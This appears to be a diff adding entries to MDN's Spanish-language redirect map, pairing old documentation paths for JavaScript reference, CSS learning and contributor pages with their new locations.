+/es/docs/JavaScript/Referencia/Objetos_globales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/JavaScript/Referencia/Objetos_globales/Array	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array
+/es/docs/JavaScript/Referencia/Objetos_globales/Array/forEach	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/forEach
+/es/docs/JavaScript/Referencia/Objetos_globales/Array/indexOf	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/indexOf
+/es/docs/JavaScript/Referencia/Objetos_globales/Array/push	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/push
+/es/docs/JavaScript/Referencia/Objetos_globales/Array/reduce	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/reduce
+/es/docs/JavaScript/Referencia/Objetos_globales/Array/reduceRight	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/reduceRight
+/es/docs/JavaScript/Referencia/Objetos_globales/Boolean	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean
+/es/docs/JavaScript/Referencia/Objetos_globales/Boolean/toSource	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean/toSource
+/es/docs/JavaScript/Referencia/Objetos_globales/Date	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date
+/es/docs/JavaScript/Referencia/Objetos_globales/Date/UTC	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date/UTC
+/es/docs/JavaScript/Referencia/Objetos_globales/Date/now	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date/now
+/es/docs/JavaScript/Referencia/Objetos_globales/Date/parse	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date/parse
+/es/docs/JavaScript/Referencia/Objetos_globales/Error	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Error
+/es/docs/JavaScript/Referencia/Objetos_globales/Function	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function
+/es/docs/JavaScript/Referencia/Objetos_globales/Function/apply	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function/apply
+/es/docs/JavaScript/Referencia/Objetos_globales/Function/arguments	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function/arguments
+/es/docs/JavaScript/Referencia/Objetos_globales/Function/call	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function/call
+/es/docs/JavaScript/Referencia/Objetos_globales/Function/prototype	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function/prototype
+/es/docs/JavaScript/Referencia/Objetos_globales/JSON	/es/docs/Web/JavaScript/Referencia/Objetos_globales/JSON
+/es/docs/JavaScript/Referencia/Objetos_globales/JSON/stringify	/es/docs/Web/JavaScript/Referencia/Objetos_globales/JSON/stringify
+/es/docs/JavaScript/Referencia/Objetos_globales/Math	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math
+/es/docs/JavaScript/Referencia/Objetos_globales/Math/E	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math/E
+/es/docs/JavaScript/Referencia/Objetos_globales/Math/LN10	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math/LN10
+/es/docs/JavaScript/Referencia/Objetos_globales/Math/LN2	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math/LN2
+/es/docs/JavaScript/Referencia/Objetos_globales/Math/LOG2E	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math/LOG2E
+/es/docs/JavaScript/Referencia/Objetos_globales/Math/floor	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math/floor
+/es/docs/JavaScript/Referencia/Objetos_globales/Number	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number
+/es/docs/JavaScript/Referencia/Objetos_globales/Number/NEGATIVE_INFINITY	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number/NEGATIVE_INFINITY
+/es/docs/JavaScript/Referencia/Objetos_globales/Number/POSITIVE_INFINITY	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number/POSITIVE_INFINITY
+/es/docs/JavaScript/Referencia/Objetos_globales/Number/prototype	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number/prototype
+/es/docs/JavaScript/Referencia/Objetos_globales/Number/toString	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number/toString
+/es/docs/JavaScript/Referencia/Objetos_globales/Object	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object
+/es/docs/JavaScript/Referencia/Objetos_globales/Object/constructor	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/constructor
+/es/docs/JavaScript/Referencia/Objetos_globales/Object/create	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/create
+/es/docs/JavaScript/Referencia/Objetos_globales/Object/defineProperties	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/defineProperties
+/es/docs/JavaScript/Referencia/Objetos_globales/Object/hasOwnProperty	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/hasOwnProperty
+/es/docs/JavaScript/Referencia/Objetos_globales/Object/toString	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/toString
+/es/docs/JavaScript/Referencia/Objetos_globales/Object/unwatch	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/unwatch
+/es/docs/JavaScript/Referencia/Objetos_globales/Object/watch	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/watch
+/es/docs/JavaScript/Referencia/Objetos_globales/RegExp	/es/docs/Web/JavaScript/Referencia/Objetos_globales/RegExp
+/es/docs/JavaScript/Referencia/Objetos_globales/String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/JavaScript/Referencia/Objetos_globales/String/anchor	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/anchor
+/es/docs/JavaScript/Referencia/Objetos_globales/String/big	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/big
+/es/docs/JavaScript/Referencia/Objetos_globales/String/blink	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/blink
+/es/docs/JavaScript/Referencia/Objetos_globales/String/bold	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/bold
+/es/docs/JavaScript/Referencia/Objetos_globales/String/charAt	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/charAt
+/es/docs/JavaScript/Referencia/Objetos_globales/String/charCodeAt	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/charCodeAt
+/es/docs/JavaScript/Referencia/Objetos_globales/String/concat	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/concat
+/es/docs/JavaScript/Referencia/Objetos_globales/String/constructor	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/JavaScript/Referencia/Objetos_globales/String/fixed	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/fixed
+/es/docs/JavaScript/Referencia/Objetos_globales/String/fromCharCode	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/fromCharCode
+/es/docs/JavaScript/Referencia/Objetos_globales/String/indexOf	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/indexOf
+/es/docs/JavaScript/Referencia/Objetos_globales/String/italics	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/italics
+/es/docs/JavaScript/Referencia/Objetos_globales/String/lastIndexOf	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/lastIndexOf
+/es/docs/JavaScript/Referencia/Objetos_globales/String/length	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/length
+/es/docs/JavaScript/Referencia/Objetos_globales/String/link	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/link
+/es/docs/JavaScript/Referencia/Objetos_globales/String/match	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/match
+/es/docs/JavaScript/Referencia/Objetos_globales/String/prototype	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/prototype
+/es/docs/JavaScript/Referencia/Objetos_globales/String/replace	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/replace
+/es/docs/JavaScript/Referencia/Objetos_globales/String/search	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/search
+/es/docs/JavaScript/Referencia/Objetos_globales/String/slice	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/slice
+/es/docs/JavaScript/Referencia/Objetos_globales/String/small	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/small
+/es/docs/JavaScript/Referencia/Objetos_globales/String/split	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/split
+/es/docs/JavaScript/Referencia/Objetos_globales/String/strike	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/strike
+/es/docs/JavaScript/Referencia/Objetos_globales/String/sub	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/sub
+/es/docs/JavaScript/Referencia/Objetos_globales/String/substr	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/substr
+/es/docs/JavaScript/Referencia/Objetos_globales/String/substring	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/substring
+/es/docs/JavaScript/Referencia/Objetos_globales/String/sup	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/sup
+/es/docs/JavaScript/Referencia/Objetos_globales/String/toLowerCase	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/toLowerCase
+/es/docs/JavaScript/Referencia/Objetos_globales/String/toString	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/toString
+/es/docs/JavaScript/Referencia/Objetos_globales/String/toUpperCase	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/toUpperCase
+/es/docs/JavaScript/Referencia/Objetos_globales/String/valueOf	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/valueOf
+/es/docs/JavaScript/Referencia/Objetos_globales/eval	/es/docs/Web/JavaScript/Referencia/Objetos_globales/eval
+/es/docs/JavaScript/Referencia/Objetos_globales/parseFloat	/es/docs/Web/JavaScript/Referencia/Objetos_globales/parseFloat
+/es/docs/JavaScript/Referencia/Objetos_globlales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/JavaScript/Referencia/Objetos_globlales/Function/arguments	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function/arguments
+/es/docs/JavaScript/Referencia/Operadores	/es/docs/Web/JavaScript/Referencia/Operadores
+/es/docs/JavaScript/Referencia/Operadores/Aritm%C3%A9ticos	/es/docs/Web/JavaScript/Referencia/Operadores/Aritm%C3%A9ticos
+/es/docs/JavaScript/Referencia/Operadores/Especiales	/es/docs/Web/JavaScript/Referencia/Operadores
+/es/docs/JavaScript/Referencia/Operadores/Especiales/function	/es/docs/Web/JavaScript/Referencia/Operadores/function
+/es/docs/JavaScript/Referencia/Operadores/Especiales/instanceof	/es/docs/Web/JavaScript/Referencia/Operadores/instanceof
+/es/docs/JavaScript/Referencia/Operadores/Especiales/typeof	/es/docs/Web/JavaScript/Referencia/Operadores/typeof
+/es/docs/JavaScript/Referencia/Operadores/Especiales/void	/es/docs/Web/JavaScript/Referencia/Operadores/void
+/es/docs/JavaScript/Referencia/Operadores/Miembros	/es/docs/Web/JavaScript/Referencia/Operadores/Miembros
+/es/docs/JavaScript/Referencia/Operadores/Operadores_especiales	/es/docs/Web/JavaScript/Referencia/Operadores
+/es/docs/JavaScript/Referencia/Operadores/Operadores_especiales/Operador_this	/es/docs/Web/JavaScript/Referencia/Operadores/this
+/es/docs/JavaScript/Referencia/Operadores/Operator_Precedence	/es/docs/Web/JavaScript/Referencia/Operadores/Operator_Precedence
+/es/docs/JavaScript/Referencia/Operadores/String	/es/docs/Web/JavaScript/Referencia/Operadores/Aritm%C3%A9ticos
+/es/docs/JavaScript/Referencia/Operadores/function	/es/docs/Web/JavaScript/Referencia/Operadores/function
+/es/docs/JavaScript/Referencia/Operadores/get	/es/docs/Web/JavaScript/Referencia/Funciones/get
+/es/docs/JavaScript/Referencia/Operadores/in	/es/docs/Web/JavaScript/Referencia/Operadores/in
+/es/docs/JavaScript/Referencia/Operadores/instanceof	/es/docs/Web/JavaScript/Referencia/Operadores/instanceof
+/es/docs/JavaScript/Referencia/Operadores/new	/es/docs/Web/JavaScript/Referencia/Operadores/new
+/es/docs/JavaScript/Referencia/Operadores/this	/es/docs/Web/JavaScript/Referencia/Operadores/this
+/es/docs/JavaScript/Referencia/Operadores/typeof	/es/docs/Web/JavaScript/Referencia/Operadores/typeof
+/es/docs/JavaScript/Referencia/Operadores/void	/es/docs/Web/JavaScript/Referencia/Operadores/void
+/es/docs/JavaScript/Referencia/Operadores/void_	/es/docs/Web/JavaScript/Referencia/Operadores/void
+/es/docs/JavaScript/Referencia/Palabras_Reservadas	/es/docs/Web/JavaScript/Referencia/Palabras_Reservadas
+/es/docs/JavaScript/Referencia/Propiedades_globales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/JavaScript/Referencia/Propiedades_globales/Infinity	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Infinity
+/es/docs/JavaScript/Referencia/Propiedades_globales/NaN	/es/docs/Web/JavaScript/Referencia/Objetos_globales/NaN
+/es/docs/JavaScript/Referencia/Propiedades_globales/undefined	/es/docs/Web/JavaScript/Referencia/Objetos_globales/undefined
+/es/docs/JavaScript/Referencia/Sentencias	/es/docs/Web/JavaScript/Referencia/Sentencias
+/es/docs/JavaScript/Referencia/Sentencias/block	/es/docs/Web/JavaScript/Referencia/Sentencias/block
+/es/docs/JavaScript/Referencia/Sentencias/break	/es/docs/Web/JavaScript/Referencia/Sentencias/break
+/es/docs/JavaScript/Referencia/Sentencias/const	/es/docs/Web/JavaScript/Referencia/Sentencias/const
+/es/docs/JavaScript/Referencia/Sentencias/continue	/es/docs/Web/JavaScript/Referencia/Sentencias/continue
+/es/docs/JavaScript/Referencia/Sentencias/do...while	/es/docs/Web/JavaScript/Referencia/Sentencias/do...while
+/es/docs/JavaScript/Referencia/Sentencias/export	/es/docs/Web/JavaScript/Referencia/Sentencias/export
+/es/docs/JavaScript/Referencia/Sentencias/for	/es/docs/Web/JavaScript/Referencia/Sentencias/for
+/es/docs/JavaScript/Referencia/Sentencias/for...in	/es/docs/Web/JavaScript/Referencia/Sentencias/for...in
+/es/docs/JavaScript/Referencia/Sentencias/for_each...in	/es/docs/Web/JavaScript/Referencia/Sentencias/for_each...in
+/es/docs/JavaScript/Referencia/Sentencias/function	/es/docs/Web/JavaScript/Referencia/Sentencias/function
+/es/docs/JavaScript/Referencia/Sentencias/if...else	/es/docs/Web/JavaScript/Referencia/Sentencias/if...else
+/es/docs/JavaScript/Referencia/Sentencias/label	/es/docs/Web/JavaScript/Referencia/Sentencias/label
+/es/docs/JavaScript/Referencia/Sentencias/return	/es/docs/Web/JavaScript/Referencia/Sentencias/return
+/es/docs/JavaScript/Referencia/Sentencias/throw	/es/docs/Web/JavaScript/Referencia/Sentencias/throw
+/es/docs/JavaScript/Referencia/Sentencias/try...catch	/es/docs/Web/JavaScript/Referencia/Sentencias/try...catch
+/es/docs/JavaScript/Referencia/Sentencias/var	/es/docs/Web/JavaScript/Referencia/Sentencias/var
+/es/docs/JavaScript/Referencia/Sentencias/while	/es/docs/Web/JavaScript/Referencia/Sentencias/while
+/es/docs/JavaScript/Una_nueva_introducci%C3%B3n_a_JavaScript	/es/docs/Web/JavaScript/Una_re-introducci%C3%B3n_a_JavaScript
+/es/docs/JavaScript:Comunidad	/es/docs/JavaScript/Comunidad
+/es/docs/Learn/CSS/Introduction_to_CSS	/en-US/docs/Learn/CSS/First_steps
+/es/docs/Learn/CSS/Introduction_to_CSS/Cascada_y_herencia	/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance
+/es/docs/Learn/CSS/Introduction_to_CSS/Combinaciones_y_selectores_multiples	/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators
+/es/docs/Learn/CSS/Introduction_to_CSS/Como_funciona_CSS	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/es/docs/Learn/CSS/Introduction_to_CSS/Depuraci%C3%B3n_CSS	/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS
+/es/docs/Learn/CSS/Introduction_to_CSS/Modelo_cajas	/en-US/docs/Learn/CSS/Building_blocks/The_box_model
+/es/docs/Learn/CSS/Introduction_to_CSS/Pseudo-clases_y_pseudo-elementos	/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements
+/es/docs/Learn/CSS/Introduction_to_CSS/Selectores	/en-US/docs/Learn/CSS/Building_blocks/Selectors
+/es/docs/Learn/CSS/Introduction_to_CSS/Selectores_de_Atributos	/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors
+/es/docs/Learn/CSS/Introduction_to_CSS/Selectores_simples	/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors
+/es/docs/Learn/CSS/Introduction_to_CSS/Sintaxis	/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured
+/es/docs/Learn/CSS/Introduction_to_CSS/Valores_y_unidades	/en-US/docs/Learn/CSS/Building_blocks/Values_and_units
+/es/docs/Learn/CSS/Styling_boxes	/en-US/docs/Learn/CSS/Building_blocks
+/es/docs/Learn/CSS/Styling_boxes/estilizando_tablas	/es/docs/Learn/CSS/Building_blocks/Styling_tables
+/es/docs/Learn/HTML/Forms/My_first_HTML_form	/es/docs/Learn/HTML/Forms/Your_first_HTML_form
+/es/docs/Localizaci%C3%B3n:Comunidad	/es/docs/Localizaci%C3%B3n/Comunidad
+/es/docs/Lugares:Gu%C3%ADa_para_migraci%C3%B3n_con_lugares	/es/docs/Lugares/Gu%C3%ADa_para_migraci%C3%B3n_con_lugares
+/es/docs/MDC	/en-US/docs/Project:es/Como_ayudar
+/es/docs/MDN/Comenzando	/es/docs/MDN/Contribute/Getting_started
+/es/docs/MDN/Contribute/Content	/es/docs/MDN/Guidelines
+/es/docs/MDN/Contribute/Content/Content_blocks	/es/docs/MDN/Guidelines/Content_blocks
+/es/docs/MDN/Contribute/Guidelines	/es/docs/MDN/Guidelines
+/es/docs/MDN/Contribute/Guidelines/Content_blocks	/es/docs/MDN/Guidelines/Content_blocks
+/es/docs/MDN/Contribute/Guidelines/Convenciones_y_definiciones	/es/docs/MDN/Guidelines/Convenciones_y_definiciones
+/es/docs/MDN/Contribute/Guidelines/Project:Gu%C3%ADa_de_estilo	/es/docs/MDN/Guidelines/Project:Gu%C3%ADa_de_estilo
+/es/docs/MDN/Contribute/Herramientas	/es/docs/MDN/Tools
+/es/docs/MDN/Contribute/Herramientas/Page_regeneration	/es/docs/MDN/Tools/Page_regeneration
+/es/docs/MDN/Contribute/Herramientas/Template_editing	/es/docs/MDN/Tools/Template_editing
+/es/docs/MDN/Contribute/Structures	/es/docs/MDN/Structures
+/es/docs/MDN/Contribute/Structures/Ejemplos_ejecutables	/es/docs/MDN/Structures/Ejemplos_ejecutables
+/es/docs/MDN/Contribute/Structures/Macros	/es/docs/MDN/Structures/Macros
+/es/docs/MDN/Contribute/Structures/Macros/Commonly-used_macros	/es/docs/MDN/Structures/Macros/Commonly-used_macros
+/es/docs/MDN/Contribute/Structures/Macros/Otras	/es/docs/MDN/Structures/Macros/Otras
+/es/docs/MDN/Contribute/Structures/Tablas_de_compatibilidad	/es/docs/MDN/Structures/Tablas_de_compatibilidad
+/es/docs/MDN/Enviar_feedback_sobre_MDN	/es/docs/MDN/Contribute/Feedback
+/es/docs/MDN/Kuma/Introduction_to_KumaScript	/es/docs/MDN/Tools/Introduction_to_KumaScript
+/es/docs/Manipular_video_por_medio_de_canvas	/es/docs/Web/HTML/anipular_video_por_medio_de_canvas
+/es/docs/MathML	/es/docs/Web/MathML
+/es/docs/MathML/Elemento	/es/docs/Web/MathML/Elemento
+/es/docs/Monitoring_downloads	/es/docs/Vigilar_descargas
+/es/docs/Mozilla_Source_Code_Directory_Structure	/es/docs/Mozilla/Developer_guide/Source_Code/Mozilla_Source_Code_Directory_Structure
+/es/docs/Novedades_en_JavaScript_1.6	/es/docs/Web/JavaScript/Novedades_en_JavaScript/1.6
+/es/docs/Novedades_en_JavaScript_1.7	/es/docs/Web/JavaScript/Novedades_en_JavaScript/1.7
+/es/docs/Novedades_en_JavaScript_1.8	/es/docs/Web/JavaScript/Novedades_en_JavaScript/1.8
+/es/docs/Novedades_en_Javascript_1.5	/es/docs/Web/JavaScript/Novedades_en_JavaScript/1.5
+/es/docs/Participando_en_el_proyecto_Mozilla	/es/docs/Participar_en_el_proyecto_Mozilla
+/es/docs/Places:Migration_Guide	/es/docs/Places/Migration_Guide
+/es/docs/Plugins:Comunidad	/es/docs/Plugins/Comunidad
+/es/docs/Poniendo_al_d%C3%ADa_extensiones_para_Firefox_3	/es/docs/Actualizar_extensiones_para_Firefox_3/Actualizar_extensiones_para_Firefox_3
+/es/docs/Portada	/es/docs/Web
+/es/docs/Preguntas_frecuentes_sobre_CSS	/es/docs/Web/CSS/Preguntas_frecuentes_sobre_CSS
+/es/docs/Preguntas_frecuentes_sobre_incrustaci%C3%B3n_en_Mozilla:Introducci%C3%B3n_a_Gecko_e_inscrustaci%C3%B3n	/es/docs/Preguntas_frecuentes_sobre_incrustaci%C3%B3n_en_Mozilla/Introducci%C3%B3n_a_Gecko_e_inscrustaci%C3%B3n
+/es/docs/Preguntas_frecuentes_sobre_la_compilaci%C3%B3n_de_Mozilla	/es/docs/Mozilla/Developer_guide/Preguntas_frecuentes_sobre_la_compilaci%C3%B3n_de_Mozilla
+/es/docs/Quirks_Mode_and_Standards_Mode	/es/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
+/es/docs/RSS:Comunidad	/es/docs/RSS/Comunidad
+/es/docs/Recursos_offline_en_firefox	/es/docs/Web/HTML/Recursos_offline_en_firefox
+/es/docs/Referencia_CSS	/es/docs/Web/CSS/Referencia_CSS
+/es/docs/Referencia_CSS/Extensiones_CSS_Mozilla	/es/docs/Web/CSS/Mozilla_Extensions
+/es/docs/Referencia_CSS/Extensiones_Mozilla	/es/docs/Web/CSS/Mozilla_Extensions
+/es/docs/Referencia_CSS:Extensiones_Mozilla	/es/docs/Web/CSS/Mozilla_Extensions
+/es/docs/Referencia_DOM_de_Gecko:Ejemplos	/es/docs/Referencia_DOM_de_Gecko/Ejemplos
+/es/docs/Referencia_DOM_de_Gecko:Introducci%C3%B3n	/es/docs/Referencia_DOM_de_Gecko/Introducci%C3%B3n
+/es/docs/Referencia_DOM_de_Gecko:Prefacio	/es/docs/Referencia_DOM_de_Gecko/Prefacio
+/es/docs/Referencia_de_JavaScript_1.5	/es/docs/Web/JavaScript/Referencia
+/es/docs/Referencia_de_JavaScript_1.5/Acerca_de	/es/docs/Web/JavaScript/Referencia/Acerca_de
+/es/docs/Referencia_de_JavaScript_1.5/Caracter%C3%ADsticas_Desaprobadas	/es/docs/Web/JavaScript/Referencia/Caracter%C3%ADsticas_Desaprobadas
+/es/docs/Referencia_de_JavaScript_1.5/Caracter%C3%ADsticas_Despreciadas	/es/docs/Web/JavaScript/Referencia/Caracter%C3%ADsticas_Desaprobadas
+/es/docs/Referencia_de_JavaScript_1.5/Comentarios	/es/docs/Web/JavaScript/Referencia/Comentarios
+/es/docs/Referencia_de_JavaScript_1.5/Comentarios/comentario	/es/docs/temp_comentarios
+/es/docs/Referencia_de_JavaScript_1.5/Funciones	/es/docs/Web/JavaScript/Referencia/Funciones
+/es/docs/Referencia_de_JavaScript_1.5/Funciones/String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Referencia_de_JavaScript_1.5/Funciones/arguments	/es/docs/Web/JavaScript/Referencia/Funciones/arguments
+/es/docs/Referencia_de_JavaScript_1.5/Funciones/arguments/callee	/es/docs/Web/JavaScript/Referencia/Funciones/arguments/callee
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/Boolean	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/Date	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/Number	/es/docs/JavaScript/Referencia/Funciones_globales/Number
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/Object	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/decodeURI	/es/docs/Web/JavaScript/Referencia/Objetos_globales/decodeURI
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/decodeURIComponent	/es/docs/Web/JavaScript/Referencia/Objetos_globales/decodeURIComponent
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/encodeURI	/es/docs/Web/JavaScript/Referencia/Objetos_globales/encodeURI
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/encodeURIComponent	/es/docs/Web/JavaScript/Referencia/Objetos_globales/encodeURIComponent
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/eval	/es/docs/Web/JavaScript/Referencia/Objetos_globales/eval
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/isFinite	/es/docs/Web/JavaScript/Referencia/Objetos_globales/isFinite
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/isNaN	/es/docs/Web/JavaScript/Referencia/Objetos_globales/isNaN
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/parseFloat	/es/docs/Web/JavaScript/Referencia/Objetos_globales/parseFloat
+/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/parseInt	/es/docs/Web/JavaScript/Referencia/Objetos_globales/parseInt
+/es/docs/Referencia_de_JavaScript_1.5/Functions	/es/docs/JavaScript/Referencia/Functions
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Array	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Array/forEach	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/forEach
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Array/indexOf	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/indexOf
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Array/push	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/push
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Array/reduce	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/reduce
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Array/reduceRight	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/reduceRight
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Boolean	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Boolean/toSource	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean/toSource
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Date	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Date/UTC	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date/UTC
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Date/now	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date/now
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Date/parse	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date/parse
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Error	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Error
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Function	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Function/apply	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function/apply
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Function/call	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function/call
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Function/prototype	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function/prototype
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/JSON	/es/docs/Web/JavaScript/Referencia/Objetos_globales/JSON
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/JSON/stringify	/es/docs/Web/JavaScript/Referencia/Objetos_globales/JSON/stringify
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Math	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Math/E	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math/E
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Math/LN10	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math/LN10
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Math/LN2	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math/LN2
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Math/LOG2E	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math/LOG2E
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Math/floor	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math/floor
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Number	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number
